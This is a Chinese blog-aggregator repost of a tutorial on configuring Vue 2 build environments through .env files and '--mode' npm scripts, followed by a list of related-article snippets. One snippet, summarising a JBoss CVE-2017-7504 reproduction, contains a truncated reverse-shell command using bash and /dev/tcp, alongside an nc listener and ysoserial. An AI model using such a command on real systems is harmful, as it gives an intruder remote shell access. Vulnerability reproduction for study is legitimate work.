vue2通过.env进行多环境配置

news2025/1/11 11:59:15

这边 我们先创建一个本地文件夹 作为项目的存放目录
在这里插入图片描述
然后我们执行 vue create 项目名 创建一个vue项目
例如 我这里这样

vue create multiple_environ

创建一个叫 multiple_environ 的vue项目
在这里插入图片描述
这里 我们选择vue2的版本

然后 在
在这里插入图片描述
然后 大家可以配置多个环境 但都需要用因为命名
我们这里主要来创 三个
dev 开发环境
test 测试环境
production 生成环境
然后 我们在项目根目录创建四个文件 分别叫 .env.dev .env.test .env.production
在这里插入图片描述
参考代码分别如下
.env.dev

NAME="测试多环境 dev"
VUE_APP_API_URL=http://127.0.0.1

.env.test

NAME="多环境 test"
VUE_APP_API_URL=http://127.0.0.2

.env.production

NAME="测试环境 production"
VUE_APP_API_URL=http://127.0.0.3

然后 我们在App.vue中编写代码如下

<template>
  <div id="app">
    请求地址 {{ VUE_APP_API_URL }}
  </div>
</template>

<script>

export default {
  name: 'App',
  data(){
    return {
      VUE_APP_API_URL: process.env.VUE_APP_API_URL
    }
  }
}
</script>

<style>
</style>

我们可以在其他文件中通过 process.env.VUE_APP_API_URL 在js逻辑中拿到 VUE_APP_API_URL配置文件的
然后我们打开 package.json 看到原本的打包命令是这样的
在这里插入图片描述
我们可以自己照着打包命令写几个新的上去
在这里插入图片描述
简单说 就是在原来命令的基础上 加上 --mode 环境名

然后 这里我们来个 npm run build:dev 进行 开发环境打包
在这里插入图片描述
然后 我们通过

http-server -p 3000

运行新打包出来的dist目录
如果不了解http-server 可以查看我的文章
通过 http-server 运行刚打包出来的脚手架项目
运行项目
在这里插入图片描述
可以看到 是和我们的dve配置对上了
在这里插入图片描述
然后 我们在执行

npm run build:production

在这里插入图片描述
然后我们重新访问
在这里插入图片描述
也是没有任何问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/999334.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

一、影响版本 Jboss AS 4.x及之前版本 二、搭建环境 三、漏洞验证 访问/jbossmq-httpil/HTTPServerILServlet&#xff0c;出现以下页面代表存在漏洞 四、漏洞复现 1.nc开启监听 2.生成序列化数据 使用工具ysoserial.jar生成序列化数据 bash -i >& /dev/tcp/192.16…

安全生产:CVE-2020-11022/CVE-2020-11023漏洞解析

文章目录 一、前言二、漏洞原理三、修复方案3.1 升级jQuery3.2 1.x 升级至 3.x 需要考虑的问题3.2.1 table表格元素自动添加tbody3.2.2 方法变更 3.3 jquery migrate是什么 四、拓展阅读 一、前言 代码安全扫描阶段&#xff0c;前端资源审计发现jQuery版本过低导致生产系统存在…

线程生命周期、线程通讯

一、生命周期 有关线程生命周期就要看下面这张图&#xff0c;围绕这张图讲解它的方法的含义&#xff0c;和不同方法间的区别。 1、yield()方法 yield()让当前正在运行的线程回到就绪&#xff0c;以允许具有相同优先级的其他线程获得运行的机会。但是&#xff0c;实际中无法保证…

第5章 【MySQL】InnoDB数据页结构

5.1 不同类型的页简介 页是InnoDB 管理存储空间的基本单位&#xff0c;一个页的大小一般是 16KB 。InnoDB 为了不同的目的而设计了许多种不同类型的 页 &#xff0c;比如存放表空间头部信息的页&#xff0c;存放 Insert Buffer信息的页&#xff0c;存放 INODE 信息的页&#x…

《低代码指南》——低代码+AI,智能化的构建数字应用

LCHub低代码社区:对低代码平台在AI领域的应用及其成果进行了深入阐述。他强调,在AI时代,工程化的重要性不容忽视,同时,复杂系统建设和数据模型驱动开发也占据了核心地位。 顾伟不仅深入探讨了低代码零代码平台在业界的不同分类和使用场景,还详细解读了低代码平台的功能架…

区块链实验室(22) - go-sdk访问Fisco的案例

在前面的案例中(区块链实验室(21) - Go语言采用SDK访问Fisco的案例)&#xff0c;go程序调用FISCO SDK的参数固化在程序中&#xff0c;现将其改造如下。 package mainimport ("flag""fmt""log""github.com/FISCO-BCOS/go-sdk/client"&…

Ubuntu22.04安装及显卡驱动问题

自己有window系统&#xff0c;想搞个ubuntu系统玩玩 一、Ubuntu22.04安装 首先去官网下载ubuntu系统&#xff0c;我下载的是22.04 https://cn.ubuntu.com/download/desktop 准备一个启动盘制作器Rufus&#xff0c;将下载好的镜像烤制到U盘 制作完u盘&#xff0c;进入bios更…

第27章 非阻塞IO实验

上个章节中我们学习了阻塞IO&#xff0c;阻塞IO是通过等待队列来实现的&#xff0c;那么如何让驱动实现非阻塞呢&#xff1f;带着疑问&#xff0c;让我们开始本章节非阻塞IO的学习吧&#xff01; 27.1 非阻塞IO简介 应用程序可以使用如下所示示例代码来实现阻塞访问&#xff…

浅谈综合管廊智慧运维管理平台应用研究

贾丽丽 安科瑞电气股份有限公司 上海嘉定 201801 摘要&#xff1a;为提升综合管廊运维管理水平&#xff0c;实现管理的数字化转型&#xff0c;采用综合监测系统、BIMGIS 可视化系统、智能机器人巡检、结构安全监测等技术&#xff0c;搭建实时监控、应急管理、数据分析等多功能…

1254. 统计封闭岛屿的数目

二维矩阵 grid 由 0 &#xff08;土地&#xff09;和 1 &#xff08;水&#xff09;组成。岛是由最大的4个方向连通的 0 组成的群&#xff0c;封闭岛是一个 完全 由1包围&#xff08;左、上、右、下&#xff09;的岛。 请返回 封闭岛屿 的数目。 示例 1&#xff1a; 输入&…

健身用哪种耳机好、健身运动耳机推荐

对于和我一样热爱健身和运动的人来说&#xff0c;音乐就像一种调动情绪的"兴奋剂"&#xff0c;在戴上耳机、聆听着动感的音乐时&#xff0c;我们能够感受到肌肉的收缩&#xff0c;完全沉浸在自己的世界中。这种状态让我们的训练状态达到巅峰&#xff0c;快乐倍增。因…

c++ 学习 之 类内成员变量和成员函数分开存储

正文 一个空的类占多少内存 看代码 #define CRT_SECURE_NO_WARNINGS #include<iostream> using namespace std;// 在c 中类内成员变量和成员函数分开存储 class Person {};void test() {Person p;// 空对象占的内存为 1 &#xff0c;是为了区分空对象占内存的位置cout…

多线程-阻塞队列

在这篇博客中我们接触的队列都是非阻塞队列&#xff0c;比如PriorityQueue、LinkedList&#xff08;LinkedList是双向链表&#xff0c;它实现了Dequeue接口&#xff09;。 使用非阻塞队列的时候有一个很大问题就是&#xff1a;它不会对当前线程产生阻塞&#xff0c;那么在面对类…

飞行动力学 - 第19节-part2-尾旋及改出 之 基础点摘要

飞行动力学 - 第19节-part2-尾旋及改出 之 基础点摘要 1. 尾旋2. 尾旋进入3. 尾旋改出4. 参考资料 1. 尾旋 尾旋是一种绕垂直轴自动旋转、下降的特殊失速现象。 特点&#xff1a; 尾旋半径半个翼展长度旋转速度120 度/秒 2. 尾旋进入 不同型号飞机&#xff0c;其尾旋特点不…

2023-简单点-什么是protobuf?

protobuf mother: 谷歌 作用 序列化 人话&#xff1a; 存储数据的一种结构 优势在&#xff1f; 类型安全 易用性好 序列化/反序列性能好 兼容性好 不仅可以定义结构体&#xff0c;还可以定义rpc服务接口 劣势在&#xff1f; 可读性较差&#xff1a;没有schema的情况下&a…

element的el-select给下拉框添加背景

第一步 :popper-append-to-body"false" <el-selectv-model"value"placeholder"请选择":popper-append-to-body"false"><el-optionv-for"item in options":key"item.value":label"item.label&quo…

web自动化测试工具之Selenium的使用

Selenium的使用 Selenium概述工作原理应用场景安装浏览器驱动 基本使用安装Selenium模块注意点使用分析代码实现 常见方法driver对象定位标签元素与获取标签对象获取文本内容与属性值 使用无界面浏览器使用pyantomjs驱动设置chrome启动参数 其他操作窗口切换ifrme切换设置User-…

ERR_PNPM_NO_GLOBAL_BIN_DIR Unable to find the global bin directory

错误提示 ERROR Unable to find the global bin directory Run "pnpm setup"to create it automatically, or set the global-bin-dir setting, or the PNPM HOME env variable.The global bin directory should be in the PATH.错误&#xff0c;找不到全局bin目录 …

Web跨域问题

目录 一、引言二、跨域问题1.同源策略2.跨域3.出现跨域问题的情况 三、解决方案1.普通web&#xff0c;使用Filter过滤器2.SpringBoot项目&#xff0c;使用CrossOrigin注解 四、示例 一、引言 在web开发的过程中&#xff0c;因为前后端的分离我们经常会遇到跨域问题&#xff0c…

私人问答网站搭建指南:Ubuntu+Cpolar+Tipas

文章目录 前言2.Tipask网站搭建2.1 Tipask网站下载和安装2.2 Tipask网页测试2.3 cpolar的安装和注册 3. 本地网页发布3.1 Cpolar临时数据隧道3.2 Cpolar稳定隧道&#xff08;云端设置&#xff09;3.3 Cpolar稳定隧道&#xff08;本地设置&#xff09; 4. 公网访问测试5. 结语 前…